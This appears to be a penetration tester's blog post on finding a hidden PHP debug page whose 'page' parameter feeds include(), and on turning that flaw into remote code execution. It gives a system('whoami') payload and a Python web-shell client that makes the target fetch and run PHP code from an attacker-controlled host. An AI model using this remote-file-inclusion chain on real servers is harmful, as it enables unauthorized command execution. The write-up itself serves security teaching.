Never include() My Input
Posted on October 5th, 2015
This blog post will demonstrate a vulnerability enumerated on a recent penetration test that was missed by automated testing because it was unlinked from the application. In a previous blog post we show how to enumerate unlinked content using several techniques. In our experience, unlinked resources can be quite interesting because they are more likely to be missed by testers and tools.
Now on to the story that inspired this post, during the process of enumerating unlinked content we stumbled upon a PHP resource called “debug.php”. This resource gave no output, literally just an HTTP 200 OK and a blank screen:
So now what? Hopefully you’re thinking like us — Enumerate Inputs! So next we send the request to Burp’s Intruder and attempt to enumerate a parameter that gives a different response. After a few hundred requests we noticed the parameter “page” had a different response length.
If you are not familiar with PHP this warning may not jump out at you, but there is a very interesting vulnerability being uncovered. This tells us two things:
1. Our input is presented on the screen so could be vulnerable to XSS
2. Our input is being passed to a PHP include() function
Now there are some that might just see this for number 1, and stop at reflected XSS.
Scenario 2 is a PHP file inclusion vulnerability due to unsanitized user input being passed to a PHP include() function. If PHP is configured to allow remote file inclusion this can very easily lead to Remote Code Execution (RCE) via Remote File Inclusion (RFI). Otherwise, you’ll have to rely on LFI, which can still lead to RCE – Check out this paper if you’d like to read more about this.
In this instance the next thing to do is stand up a quick web server and attempt to include a remote file with PHP code for the server to execute. To do this you can use Python “sudo python -m SimpleHTTPServer 8000”. To test this you can use a quick PHP snippet: “<?php system(‘whoami’);?>”
Woot! Looks like we have code execution on the system. Now we can further improve our PHP web shell by having it execute a command passed via a GET parameter:
To make it easier to control the system we can make a quick Python client:
#!/usr/bin/python import requests print '[+] Connecting to: http://192.168.1.156/debug.php' while True: cmd = raw_input('~$ ') request = requests.get('http://192.168.1.156/debug.php?d='+cmd+'page=http://192.168.1.155:8000/1.php') response = request.text.split('\n') for line in response: if 'Attempting to debug' not in line: print line
From here you have a nice web shell and can dig further into the organization. This is why you should Never include() my input 🙂